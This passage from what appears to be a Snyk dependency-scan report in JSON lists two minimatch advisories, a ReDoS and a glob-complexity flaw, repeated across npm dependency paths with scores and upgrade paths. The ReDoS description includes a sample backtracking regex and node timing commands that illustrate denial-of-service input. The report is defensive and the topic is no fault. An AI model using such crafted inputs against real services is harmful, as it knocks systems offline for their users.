"severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], 